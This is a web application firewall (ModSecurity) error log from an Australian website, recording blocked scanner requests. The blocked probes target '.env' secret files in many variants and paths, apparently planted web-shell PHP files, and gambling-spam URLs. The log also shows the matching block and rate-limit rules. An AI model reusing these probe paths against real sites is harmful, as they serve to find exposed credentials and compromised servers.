[Sun Apr 19 06:27:02.640807 2026] [:error] [pid 47775:tid 47865] [client 16.16.24.222:33458] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.save"] [unique_id "aeQFNrmztjlk9tsmoeyBhQAAAJY"]
[Sun Apr 19 06:27:03.689870 2026] [:error] [pid 47775:tid 47862] [client 16.16.24.222:33468] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.old"] [unique_id "aeQFN7mztjlk9tsmoeyBiQAAAJM"]
[Sun Apr 19 06:27:04.734330 2026] [:error] [pid 47772:tid 47802] [client 16.16.24.222:46238] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.sample"] [unique_id "aeQFOIc0L16cb4smAz-2ngAAAA0"]
[Sun Apr 19 06:27:05.784549 2026] [:error] [pid 47886:tid 47908] [client 16.16.24.222:46240] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.example"] [unique_id "aeQFOUSe8yiyuPrD7yP6VAAAANQ"]
[Sun Apr 19 06:27:06.838140 2026] [:error] [pid 15763:tid 15816] [client 16.16.24.222:46250] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dev"] [unique_id "aeQFOrMXv1Y1THOoxaAraAAAAhQ"]
[Sun Apr 19 06:27:07.887553 2026] [:error] [pid 47772:tid 47797] [client 16.16.24.222:46252] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.prod"] [unique_id "aeQFO4c0L16cb4smAz-2ogAAAAg"]
[Sun Apr 19 06:27:08.930792 2026] [:error] [pid 47886:tid 47902] [client 16.16.24.222:46258] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.stage"] [unique_id "aeQFPESe8yiyuPrD7yP6WQAAAM4"]
[Sun Apr 19 06:27:09.975567 2026] [:error] [pid 47772:tid 47793] [client 16.16.24.222:46264] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.ci"] [unique_id "aeQFPYc0L16cb4smAz-2qAAAAAQ"]
[Sun Apr 19 06:27:11.021872 2026] [:error] [pid 47886:tid 47894] [client 16.16.24.222:46280] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.docker"] [unique_id "aeQFP0Se8yiyuPrD7yP6XQAAAMY"]
[Sun Apr 19 06:27:12.062173 2026] [:error] [pid 15765:tid 15852] [client 16.16.24.222:46296] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.live"] [unique_id "aeQFQPRqinw-W5EwQ76PNgAAAoA"]
[Sun Apr 19 06:27:13.098873 2026] [:error] [pid 47773:tid 47830] [client 16.16.24.222:46298] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.preprod"] [unique_id "aeQFQeiBHdnCJDuPq9By7wAAAE4"]
[Sun Apr 19 06:27:14.149876 2026] [:error] [pid 47773:tid 47829] [client 16.16.24.222:35566] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.uat"] [unique_id "aeQFQuiBHdnCJDuPq9By8AAAAE0"]
[Sun Apr 19 06:27:15.186495 2026] [:error] [pid 47772:tid 47798] [client 16.16.24.222:35578] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dist"] [unique_id "aeQFQ4c0L16cb4smAz-2rAAAAAk"]
[Sun Apr 19 06:27:16.235720 2026] [:error] [pid 47773:tid 47827] [client 16.16.24.222:35594] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.swp"] [unique_id "aeQFROiBHdnCJDuPq9By9QAAAEs"]
[Sun Apr 19 06:27:17.280536 2026] [:error] [pid 47773:tid 47820] [client 16.16.24.222:35604] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env~"] [unique_id "aeQFReiBHdnCJDuPq9BzAwAAAEQ"]
[Sun Apr 19 06:27:18.322635 2026] [:error] [pid 15765:tid 15874] [client 16.16.24.222:35614] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.env"] [unique_id "aeQFRvRqinw-W5EwQ76PPQAAApU"]
[Sun Apr 19 06:27:19.367468 2026] [:error] [pid 47775:tid 47866] [client 16.16.24.222:35630] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/apps/.env"] [unique_id "aeQFR7mztjlk9tsmoeyBlQAAAJc"]
[Sun Apr 19 06:27:20.405856 2026] [:error] [pid 47775:tid 47861] [client 16.16.24.222:35632] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.env"] [unique_id "aeQFSLmztjlk9tsmoeyBnAAAAJI"]
[Sun Apr 19 06:27:21.447296 2026] [:error] [pid 47773:tid 47822] [client 16.16.24.222:35642] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/web/.env"] [unique_id "aeQFSeiBHdnCJDuPq9BzCgAAAEY"]
[Sun Apr 19 06:27:22.496304 2026] [:error] [pid 15694:tid 15751] [client 16.16.24.222:35650] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/site/.env"] [unique_id "aeQFSrimB-jol1fwqArAgAAAAZg"]
[Sun Apr 19 06:27:23.543878 2026] [:error] [pid 47772:tid 47807] [client 16.16.24.222:35660] [client 16.16.24.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/public/.env"] [unique_id "aeQFS4c0L16cb4smAz-2xAAAABI"]
[Sun Apr 19 08:57:04.800792 2026] [:error] [pid 47773:tid 47826] [client 43.135.144.81:51540] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeQoYOiBHdnCJDuPq9CycgAAAEo"]
[Sun Apr 19 10:00:27.279576 2026] [:error] [pid 15764:tid 15828] [client 51.75.119.69:53668] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aeQ3O2LL_sqdSHoVp-QrawAAAkI"]
[Sun Apr 19 10:00:29.802408 2026] [:error] [pid 47772:tid 47803] [client 51.75.119.69:52910] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aeQ3PYc0L16cb4smAz_5kwAAAA4"]
[Sun Apr 19 10:00:32.386790 2026] [:error] [pid 15764:tid 15832] [client 51.75.119.69:52912] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aeQ3QGLL_sqdSHoVp-QrdAAAAkY"]
[Sun Apr 19 10:00:35.216500 2026] [:error] [pid 15760:tid 15772] [client 51.75.119.69:51064] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aeQ3Q_SdD_XHQMJ_ISs1awAAAcQ"]
[Sun Apr 19 10:00:37.825049 2026] [:error] [pid 15764:tid 15829] [client 51.75.119.69:51068] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aeQ3RWLL_sqdSHoVp-QrfAAAAkM"]
[Sun Apr 19 10:00:40.415377 2026] [:error] [pid 47772:tid 47808] [client 51.75.119.69:51080] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aeQ3SIc0L16cb4smAz_5mQAAABM"]
[Sun Apr 19 10:00:43.088820 2026] [:error] [pid 47773:tid 47831] [client 51.75.119.69:51094] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aeQ3S-iBHdnCJDuPq9DE5QAAAE8"]
[Sun Apr 19 10:00:45.737081 2026] [:error] [pid 47775:tid 47865] [client 51.75.119.69:59650] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aeQ3Tbmztjlk9tsmoeyt9AAAAJY"]
[Sun Apr 19 10:00:48.291191 2026] [:error] [pid 47886:tid 47895] [client 51.75.119.69:59656] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aeQ3UESe8yiyuPrD7yMgAAAAAMc"]
[Sun Apr 19 10:00:51.009125 2026] [:error] [pid 47773:tid 47818] [client 51.75.119.69:59664] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeQ3U-iBHdnCJDuPq9DE6wAAAEI"]
[Sun Apr 19 10:00:53.659435 2026] [:error] [pid 15763:tid 15818] [client 51.75.119.69:59674] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeQ3VbMXv1Y1THOoxaBaEgAAAhY"]
[Sun Apr 19 10:00:56.269507 2026] [:error] [pid 47775:tid 47862] [client 51.75.119.69:39120] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeQ3WLmztjlk9tsmoeyt_AAAAJM"]
[Sun Apr 19 10:00:59.033143 2026] [:error] [pid 47773:tid 47822] [client 51.75.119.69:39126] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeQ3W-iBHdnCJDuPq9DE8QAAAEY"]
[Sun Apr 19 10:01:01.605981 2026] [:error] [pid 47773:tid 47826] [client 51.75.119.69:39132] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeQ3XeiBHdnCJDuPq9DE-gAAAEo"]
[Sun Apr 19 10:01:04.097762 2026] [:error] [pid 15763:tid 15813] [client 51.75.119.69:39134] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeQ3YLMXv1Y1THOoxaBaHgAAAhE"]
[Sun Apr 19 10:01:06.617556 2026] [:error] [pid 47773:tid 47836] [client 51.75.119.69:53064] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeQ3YuiBHdnCJDuPq9DFAQAAAFQ"]
[Sun Apr 19 10:01:09.415886 2026] [:error] [pid 47775:tid 47845] [client 51.75.119.69:53074] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeQ3Zbmztjlk9tsmoeyt_gAAAII"]
[Sun Apr 19 10:01:11.983939 2026] [:error] [pid 15763:tid 15802] [client 51.75.119.69:53076] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeQ3Z7MXv1Y1THOoxaBaLAAAAgY"]
[Sun Apr 19 10:01:14.930031 2026] [:error] [pid 15694:tid 15731] [client 51.75.119.69:47028] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeQ3arimB-jol1fwqArQiQAAAYU"]
[Sun Apr 19 10:01:17.622584 2026] [:error] [pid 15760:tid 15780] [client 51.75.119.69:47044] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeQ3bfSdD_XHQMJ_ISs1eQAAAcw"]
[Sun Apr 19 10:01:20.269369 2026] [:error] [pid 15763:tid 15804] [client 51.75.119.69:47058] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeQ3cLMXv1Y1THOoxaBaTQAAAgg"]
[Sun Apr 19 12:59:33.573694 2026] [:error] [pid 15763:tid 15813] [client 51.12.84.102:60944] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeRhNbMXv1Y1THOoxaCOjgAAAhE"]
[Sun Apr 19 12:59:37.656472 2026] [:error] [pid 15764:tid 15831] [client 51.12.84.102:52296] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeRhOWLL_sqdSHoVp-RzhwAAAkU"]
[Sun Apr 19 12:59:41.496916 2026] [:error] [pid 15763:tid 15815] [client 51.12.84.102:60229] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeRhPbMXv1Y1THOoxaCOlwAAAhM"]
[Sun Apr 19 12:59:43.108016 2026] [:error] [pid 15694:tid 15751] [client 51.12.84.102:60957] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeRhP7imB-jol1fwqArhoQAAAZg"]
[Sun Apr 19 12:59:54.457445 2026] [:error] [pid 15764:tid 15832] [client 51.12.84.102:60255] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeRhSmLL_sqdSHoVp-RzlwAAAkY"]
[Sun Apr 19 12:59:58.315770 2026] [:error] [pid 15760:tid 15785] [client 51.12.84.102:60282] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeRhTvSdD_XHQMJ_IStNnwAAAdE"]
[Sun Apr 19 13:00:01.423839 2026] [:error] [pid 47886:tid 47893] [client 51.12.84.102:60253] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeRhUUSe8yiyuPrD7yM6xgAAAMU"]
[Sun Apr 19 13:00:02.319672 2026] [:error] [pid 15760:tid 15783] [client 51.12.84.102:52294] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeRhUvSdD_XHQMJ_IStNrAAAAc8"]
[Sun Apr 19 13:00:03.510474 2026] [:error] [pid 15760:tid 15780] [client 51.12.84.102:60268] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeRhU_SdD_XHQMJ_IStNsAAAAcw"]
[Sun Apr 19 13:00:04.265463 2026] [:error] [pid 47886:tid 47891] [client 51.12.84.102:60973] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeRhVESe8yiyuPrD7yM6yAAAAMM"]
[Sun Apr 19 13:00:05.226277 2026] [:error] [pid 47886:tid 47901] [client 51.12.84.102:60953] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeRhVUSe8yiyuPrD7yM6yQAAAM0"]
[Sun Apr 19 13:00:06.053295 2026] [:error] [pid 15760:tid 15787] [client 51.12.84.102:60976] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeRhVvSdD_XHQMJ_IStNtAAAAdM"]
[Sun Apr 19 13:00:07.346362 2026] [:error] [pid 47773:tid 47821] [client 51.12.84.102:60965] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeRhV-iBHdnCJDuPq9DsUQAAAEU"]
